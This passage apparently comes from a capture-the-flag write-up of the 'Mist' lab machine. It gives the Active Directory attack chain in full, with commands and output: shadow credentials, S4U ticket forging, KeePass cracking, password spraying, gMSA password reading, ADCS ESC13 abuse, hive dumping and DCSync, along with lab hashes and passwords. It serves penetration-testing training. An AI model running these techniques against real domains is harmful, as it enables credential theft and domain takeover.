write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given
user. The gpoSID must be entered surrounding by {}.
exit - Terminates this session.

Now we can proceed to create shadow credentials for MS01$ by clearing any pre-existing
credentials first.

# clear_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108

Shadow credentials cleared successfully!

# set_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108

KeyCredential generated with DeviceID: 13ad6ec7-a0c3-0c27-9b35-320aa1e13c09

Shadow credentials successfully added!
Saved PFX (#PKCS12) certificate & key at path: [Link]
Must be used with password: IGx9winx89pDEms8MLou

Since we have a tunnel setup, we will be using certipy this time to get the NTLM hash of MS01$
instead of utilizing Rubeus as we did before. First we will remove the password protection on the
pfx file.

└─$ certipy cert -export -pfx [Link] -password IGx9winx89pDEms8MLou -out

[Link]
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Writing PFX to '[Link]'

Now we can proceed to perform the same exploit we used with brandon through rubeus, but with
certipy through proxychains .
 └─$ proxychains -q certipy auth -pfx [Link] -domain [Link] -username MS01\$ -
dc-ip [Link] -ns [Link]
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate

[*] Using principal: ms01$@[Link]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to '[Link]'
[*] Trying to retrieve NT hash for 'ms01$'
[*] Got hash for 'ms01$@[Link]':
aad3b435b51404eeaad3b435b51404ee:cc3e1c1940a31ab6baa15fae34516066

Access as Administrator on MS01

Armed with the NTLM hash of MS01$ we can use Rubeus to obtain a Service Ticket for the
Administrator user towards CIFS/[Link] in order to perform a remote secretsdump
operation, in order to retrieve the administrator user's hash and gain an interactive session over
WinRM .

First, we need to obtain a TGT for MS01$ .

C:\xampp\htdocs\files>[Link] asktgt /nowrap /user:"ms01$"

/rc4:cc3e1c1940a31ab6baa15fae34516066 /nowrap

<SNIP>

v2.2.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: cc3e1c1940a31ab6baa15fae34516066

[*] Building AS-REQ (w/ preauth) for: '[Link]\ms01$'
[*] Using domain controller: [Link]:88
[+] TGT request successful!
[*] base64([Link]):

doIFLDCCB<SNIP>dBsIbWlzdC5odGI=

Now we will use this TGT to perform an S4U2Proxy chain to obtain the service ticket.

C:\xampp\htdocs\files>[Link] s4u /self /nowrap /impersonateuser:Administrator

/altservice:"cisf/[Link]" /ticket:doIFLDCCB<SNIP>dBsIbWlzdC5odGI=

<SNIP>

v2.2.0

[*] Action: S4U

[*] Building S4U2self request for: 'ms01$@[Link]'
[*] Using domain controller: [Link] ([Link])
[*] Sending S4U2self request to [Link]:88
[+] S4U2self success!
 [*] Substituting alternative service name 'cisf/[Link]'
[*] Got a TGS for 'Administrator' to 'cisf@[Link]'
[*] base64([Link]):

doIF2jCCBdagAwIBB<SNIP>2YbDW1zMDEubWlzdC5odGI=

We will grab the base64 encoded kirbi, and then decode it and save it on our host.

echo
"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" | base64
-d > [Link]

Now we will use impacket's ticketConverter to convert the kirbi file to a ccache we can use.

└─$ impacket-ticketConverter [Link] [Link]

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...

[+] done

Finally, we can use the ccache to perform a remote secretsdump operation.

 └─$ export KRB5CCNAME=[Link]
└─$ proxychains -q impacket-secretsdump administrator@[Link] -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state

[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe3a142f26a6e42446aa8a55e39cbcd86
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:711e6a685af1c31c4029c3c7681dd9
[Link]

Using the administrator's hash, we will use evil-winrm to gain an interactive session over WinRM .

└─$ proxychains4 -q evil-winrm -i [Link] -u 'Administrator' -H

711e6a685af1c31c4029c3c7681dd97b
Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
ms01\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

We can also grab the user flag at this point.

*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/[Link]

<REDACTED>

Gaining Access as op_Sharon.Mullard on

DC01
Enumerating the local system as Administrator, we can find some intresting files in
[Link] User directory.

*Evil-WinRM* PS C:\> tree C:/Users/[Link] /f

Folder PATH listing
Volume serial number is 0000018D 560D:8100
C:\USERS\[Link]
+---Desktop
+---Documents
¦ [Link]
¦
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
¦ [Link]
¦ image_20022024.png
¦
+---Saved Games
+---Videos
[Link] is a KeePass database file. If we can find the password to unlock the database, we
can potentially retrieve credentials belonging to sharon, or some other account of the domain. We
can also see two images in the Pictures folder. We will download all three files locally for analysis.

image_20022024.png seems to contain attempts to encrypt a password safely. In the image, we

can see an attempt to transform a string to base64 using the tool cyberchef .

we can attempt to use the string UA7cpa[#1!_*ZX to unlock the KeePass database. We will use
keepassxc in order to do so.

keepassxc open [Link]

The attempt failed. If we look at the image closely, we can see that parts of the password may be
obscured by the notepad window. In order to find any potential missing characters, we can use
hashcat to perform a mask attack, using the string we already have. First, we will need to extract
the hash of the password protecting the keepass database. We will use keepass2john for this
operation.

└─$ keepass2john [Link] | tee [Link]

sharon:$keepass$*2*60000*0*ae4c58b24d564cf7e40298f973bfa929f494a285e48a70b719b280
200793ee67*761ad6f646fff6f41a844961b4cc815dc4cd0d5871520815f51dd1a5972f6c55*65207
25ffa21f113d82f5240f3be21b6*ce6d93ca81cb7f1918210d0752878186b9e8965adef69a2a89645
6680b532162*dda750ac8a3355d831f62e1e4e99970f6bfe6b7d2b6d429ed7b6aca28d3174dc

Now we will use haschat in order to perform the attack.

 └─$ hashcat --user [Link] -m 13400 -a 3 'UA7cpa[#1!_*ZX?a'

hashcat (v6.2.6) starting

<SNIP>

$keepass$*2*60000*0*ae4c58b24d564cf7e40298f973bfa929f494a285e48a70b719b280200793e
e67*761ad6f646fff6f41a844961b4cc815dc4cd0d5871520815f51dd1a5972f6c55*6520725ffa21
f113d82f5240f3be21b6*ce6d93ca81cb7f1918210d0752878186b9e8965adef69a2a896456680b53
2162*dda750ac8a3355d831f62e1e4e99970f6bfe6b7d2b6d429ed7b6aca28d3174dc:UA7cpa[#1!_
*ZX@

Session..........: hashcat
Status...........: Cracked

<SNIP>

Armed with the full password, we can now unlock the keepass database.
The database contains a password, ImTiredOfThisJob:( but without specifying a username. We
will perform a password spraying attack to verify if that password belongs to a user on the
domain.

First, we will retrieve a list of all the domain usernames using impacket's GetADUsers module.

└─$ proxychains4 -q impacket-GetADUsers [Link]/[Link] -hashes

:DB03D6A77A2205BC1D07082740626CC9 -dc-ip [Link] -dc-host DC01 -all | sed
-n '6,$p' | awk '{print $1} > domain_users.txt'

Then we will pass this username list along with the password to netexec in order to perform the
attack.

└─$ proxychains4 -q netexec smb [Link] -u domain_users.txt -p

'ImTiredOfThisJob:('
SMB [Link] 445 DC01 [*] Windows Server 2022 Build
20348 x64 (name:DC01) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 DC01 [-] Connection Error: The
NETBIOS connection with the remote host timed out.
SMB [Link] 445 DC01 [-]
[Link]\Guest:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [-]
[Link]\krbtgt:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [-]
[Link]\[Link]:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [-]
[Link]\[Link]:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [-]
[Link]\[Link]:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [-]
[Link]\[Link]:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [-]
[Link]\[Link]:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [-]
[Link]\[Link]:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [-]
[Link]\[Link]:ImTiredOfThisJob:( STATUS_LOGON_FAILURE
SMB [Link] 445 DC01 [+]
[Link]\op_Sharon.Mullard:ImTiredOfThisJob:(

The password corresponds to the op_Sharon.Mullard account (which is different from the
[Link] account). We can use those credentials to gain access to DCO1 over WinRM .

└─$ proxychains4 -q evil-winrm -i [Link] -u 'op_sharon.mullard' -p

'ImTiredOfThisJob:('

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents> whoami
mist\op_sharon.mullard
Gaining control over the svc_ca$ account
Since we gained access to a new domain user, it is wise to check bloodhound in order to
enumerate possible misconfigurations that we can abuse with our newly acquired user.

op_sharon.mullard , as a member of the OPERATIVES group has ReadGMSAPassword rights over

the SVC_CA$ account.

The gMSA password is a complex, automatically managed password generated by Active Directory
for gMSA service accounts. These passwords are only accessible by specific machines or users that
are granted the right to retrieve them, ensuring that only authorized systems and services can use
the account. The ReadGMSAPassword permission is a special right that allows an entity to read and
retrieve the current password of a gMSA from Active Directory.

We can use netexec to retrieve the NTLM hash of SVC_CA$ .

└─$ proxychains -q netexec ldap [Link] -u op_sharon.mullard -p

'ImTiredOfThisJob:(' --gmsa
SMB [Link] 445 DC01 [*] Windows Server 2022 Build
20348 x64 (name:DC01) (domain:[Link]) (signing:True) (SMBv1:False)
LDAPS [Link] 636 DC01 [+]
[Link]\op_sharon.mullard:ImTiredOfThisJob:(
LDAPS [Link] 636 DC01 [*] Getting GMSA Passwords
LDAPS [Link] 636 DC01 Account: svc_ca$
NTLM: 07bb1cde74ed154fcec836bc1122bdcc

Gaining control over svc_cabackup

account
Again, since we have access to a new account, we can use bloodhound for enumeration.
We can see that svc_ca$ has the AddKeyCredentialLink right over SVC_CABACKUP account. This
means that we can perform the same exploit we used for the MS01$ to gain access to
SVC_CABACKUP account's NTLM hash, by adding a shadow credentials for this account and
performing the TGT to U2U chain we did for the user brandon.

We will use certipy over proxychains to do so.

└─$ proxychains -q certipy shadow auto -username 'svc_ca$@[Link]' -hashes

:07bb1cde74ed154fcec836bc1122bdcc -account svc_cabackup -dc-ip [Link]
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'svc_cabackup'

[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '46f36c74-086d-ee1b-b045-37f869fdb46e'
[*] Adding Key Credential with device ID '46f36c74-086d-ee1b-b045-37f869fdb46e'
to the Key Credentials for 'svc_cabackup'
[*] Successfully added Key Credential with device ID '46f36c74-086d-ee1b-b045-
37f869fdb46e' to the Key Credentials for 'svc_cabackup'
[*] Authenticating as 'svc_cabackup' with the certificate
[*] Using principal: svc_cabackup@[Link]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'svc_cabackup.ccache'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[*] Restoring the old Key Credentials for 'svc_cabackup'
[*] Successfully restored the old Key Credentials for 'svc_cabackup'
[*] NT hash for 'svc_cabackup': c9872f1bc10bdd522c12fc2ac9041b64

Obtaining Domain Admin Privileges

Enumeration
Reviewing svc_cabackup account's group memberships on bloodhound:
We can see that it is a member of the CERTIFICATE SERVICES group. Experimenting with
bloodhound's pre-defined Cypher queries we can perform a search that searches for
templates vulnerable to ADCS ESC13 Abuse , by running the Enrollment rights on
CertTemplates with OIDGroupLink query. The article for this kind of attack can be found here
and we highly suggest that you read through this post in order to understand how this attack
works. The attack chain and also why and how this works is explained in detail.

Analyzing this query, we can see that members of the Certificate Services group, can get
membership in the CERTIFICATE MANAGERS group through the MANAGERAUTHENTICATION
template, by abusing the ADCS ESC13 abuse .

The CERTIFICATE MANAGERS group, is a member of the CA_BACKUP group.

Members of the CA_BACKUP group can gain membership in the SERVICEACCOUNTS group, by
leveraging the BACKUPSVCAUTHENTICATION template which again, is vulnerable to the ADCS ESC13
Abuse .

The SERVICESACCOUNTS group is a member of the BACKUP OPERATORS group.

Designing and performing the attack
The BACKUP OPERATORS group has access to every file on the local system, including the SAM,
SYSTEM and SECURITY hives. If we gain access to these hives, we can dump the credentials stored
on the local system.

Combining the information we acquired through bloodhound, we can devise the following attack
plan to gain access to the local hashes:

1. Request a certificate with the user svc_cabackup using the ManagerAuthentication template
which will give us access to the Certificate Managers group.

2. Acquire a TGT using this certificate, and use the TGT to request a certificate with the user
svc_cabackup using the BackupSvcAuthentication template, which will now be available due
to the membership in the Certificate Managers group acquired by the previous certificate.

3. Acquire a TGT using this certificate, and use it to dump the SAM, SYSTEM and SECURITY hives
which we will be able to do, since we acquired membership over SERVICEACCOUNTS group
using the previous certificate.

4. Perform local extracting operations to acquire the hashes.

We will start by acquiring a certificate using the ManagerAuthentication template.

└─$ proxychains -q certipy req -u svc_cabackup -hashes

:c9872f1bc10bdd522c12fc2ac9041b64 -ca mist-DC01-CA -template
ManagerAuthentication -dc-ip [Link] -dns [Link] -key-size 4096
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[*] Successfully requested certificate
[*] Request ID is 63
[*] Got certificate with UPN 'svc_cabackup@[Link]'
[*] Certificate object SID is 'S-1-5-21-1045809509-3006658589-2426055941-1135'
[*] Saved certificate and private key to 'svc_cabackup.pfx'

We will then use this certificate to acquire a TGT ticket.

└─$ proxychains -q certipy auth -pfx ./svc_cabackup.pfx -kirbi -dc-ip

[Link]
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: svc_cabackup@[Link]

[*] Trying to get TGT...
[*] Got TGT
[*] Saved Kirbi file to 'svc_cabackup.kirbi'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[*] Got hash for 'svc_cabackup@[Link]':
aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64

Convert the kirbi into a ccache file we can use.

 └─$ impacket-ticketConverter svc_cabackup.kirbi svc_cabackup.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...

[+] done

Now we will use this TGT to request a certificate using the BackupSvcAuthentication template.

└─$ KRB5CCNAME=svc_cabackup.ccache proxychains -q certipy req -u svc_cabackup -k

-no-pass -ca mist-DC01-CA -template BackupSvcAuthentication -dc-ip
[Link] -dns [Link] -key-size 4096 -target [Link]
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[*] Successfully requested certificate
[*] Request ID is 65
[*] Got certificate with UPN 'svc_cabackup@[Link]'
[*] Certificate object SID is 'S-1-5-21-1045809509-3006658589-2426055941-1135'
[*] Saved certificate and private key to 'svc_cabackup.pfx'

Again, we will request a TGT and create the appropriate ccache file.

└─$ proxychains -q certipy auth -pfx ./svc_cabackup.pfx -kirbi -dc-ip

[Link]
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: svc_cabackup@[Link]

[*] Trying to get TGT...
[*] Got TGT
[*] Saved Kirbi file to 'svc_cabackup.kirbi'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[*] Got hash for 'svc_cabackup@[Link]':
aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64

└─$ impacket-ticketConverter svc_cabackup.kirbi svc_cabackup.ccache

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...

[+] done

Now we will dump the hives using impacket's reg module.

└─$ KRB5CCNAME=svc_cabackup.ccache proxychains -q impacket-reg -k -no-pass -dc-ip

[Link] [Link]/svc_cabackup@[Link] backup -o
'C:\Users\op_sharon.mullard\Documents'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to C:\Users\op_sharon.mullard\Documents\[Link]
[*] Saved HKLM\SYSTEM to C:\Users\op_sharon.mullard\Documents\[Link]
[*] Saved HKLM\SECURITY to C:\Users\op_sharon.mullard\Documents\[Link]
Next, we download the hives through evil-winrm .

*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents> dir

Directory: C:\Users\op_Sharon.Mullard\Documents

Mode LastWriteTime Length Name

---- ------------- ------ ----
-a---- 11/8/2024 8:21 AM 28672 [Link]
-a---- 11/8/2024 8:21 AM 36864 [Link]
-a---- 11/8/2024 8:21 AM 18333696 [Link]

*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents> download [Link]

Info: Downloading C:\Users\op_Sharon.Mullard\Documents\[Link] to [Link]
Info: Download successful!
*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents> download [Link]
Info: Downloading C:\Users\op_Sharon.Mullard\Documents\[Link] to
[Link]
Info: Download successful!
*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents> download [Link]
Info: Downloading C:\Users\op_Sharon.Mullard\Documents\[Link] to [Link]
Info: Download successful!

Performing a local secretsdump operation using impacket, we can retrieve the local hashes using
those hives.

└─$ impacket-secretsdump -sam [Link] -security [Link] -system

[Link] local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x47c7c97d3b39b2a20477a77d25153da5

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e121bd371bd4bbaca21175947013d
[Link]
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
[Link]
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't
have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $[Link]
$[Link]:plain_password_hex:c68cb851aa6312ad86b532db8103025cb80e69025bd381860
316ba55b056b9e1248e7817ab7fc5b23c232a5bd2aa5b8515041dc3dc47fa4e2d4c34c7db403c7edc
4418cf22a1b8c2c544c464ec9fedefb1dcdbebff68c6e9a103f67f3032b68e7770b4e8e22ef05b29d
002cc0e22ad4873a11ce9bac40785dcc566d38bb3e2f0d825d2f4011b566ccefdc55f098c3b76affb
9a73c6212f69002655dd7b774673bf8eecaccd517e9550d88e33677ceba96f4bc273e4999bbd51867
3343c0a15804c43fde897c9bd579830258b630897e79d93d0c22edc2f933c7ec22c49514a2edabd5d
546346ce55a0833fc2d8403780
$[Link]: aad3b435b51404eeaad3b435b51404ee:e768c4cf883a87ba9e96278990292260
[*] DPAPI_SYSTEM
dpapi_machinekey:0xc78bf46f3d899c3922815140240178912cb2eb59
dpapi_userkey:0xc62a01b328674180712ffa554dd33d468d3ad7b8
[*] NL$KM
 0000 C4 C5 BF 4E A9 98 BD 1B 77 0E 76 A1 D3 09 4C AB ...N....w.v...L.
0010 B6 95 C7 55 E8 5E 4C 48 55 90 C0 26 19 85 D4 C2 ...U.^LHU..&....
0020 67 D7 76 64 01 C8 61 B8 ED D6 D1 AF 17 5E 3D FC [Link]..a......^=.
0030 13 E5 4D 46 07 5F 2B 67 D3 53 B7 6F E6 B6 27 31 ..MF._+g.S.o..'1
NL$KM:c4c5bf4ea998bd1b770e76a1d3094cabb695c755e85e4c485590c0261985d4c267d7766401c
861b8edd6d1af175e3dfc13e54d46075f2b67d353b76fe6b62731

Now we can use the machine account's (DC01$) hash to perform DCSync over the domain
controller and acquire the domain administrator's hash.

└─$ proxychains -q impacket-secretsdump 'DC01$@[Link]' -hashes

:e768c4cf883a87ba9e96278990292260 -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get [Link] secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b46782b9365344abdff1a925601e03
[Link]
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:298fe98ac9ccf7bd9e91a69b8c02[Link]
[Link][Link]b51404eeaad3b435b51404ee:1f806175e243ed95db55c7f65edb
[Link]
[Link]:aad3b435b51404eeaad3b435b51404ee:db03d6a77a2205bc1d070827406
2[Link]
[Link]:aad3b435b51404eeaad3b435b51404ee:9ee69a8347d91465627365c41214
[Link]
[Link]:aad3b435b51404eeaad3b435b51404ee:165fbae679924fc539385923aa
16[Link]
[Link][Link]b51404eeaad3b435b51404ee:74f1d3e2e40af8e3c2837ba96cc931
[Link]
[Link][Link]b51404eeaad3b435b51404ee:4847f5daf1f995f14c262a1afce
6[Link]
[Link]:aad3b435b51404eeaad3b435b51404ee:a3188ac61d66708a2bd798fa4acc
[Link]
op_Sharon.Mullar[Link]b51404eeaad3b435b51404ee:d25863965a29b64af7959c3d1
958[Link]
op_Markus.Roh[Link]b51404eeaad3b435b51404ee:73e3be0e5508d1ffc3eb57d48b7
b[Link]
svc_sm[Link]b51404eeaad3b435b51404ee:1921d81fdbc829e0a176cb489146[Link]
svc_cabackup:1135:aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b
[Link]
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e768c4cf883a87ba9e9627899029[Link]
MS01$:1108:aad3b435b51404eeaad3b435b51404ee:cc3e1c1940a31ab6baa15fae3451[Link]
svc_ca$:1124:aad3b435b51404eeaad3b435b51404ee:07bb1cde74ed154fcec836bc1122[Link]

Using evil-winrm , we can log in as domain administrator and retrieve the [Link] flag.

└─$ proxychains4 -q evil-winrm -i [Link] -u administrator -H

b46782b9365344abdff1a925601e0385 Info: Establishing connection to remote
endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/[Link]
<REDACTED>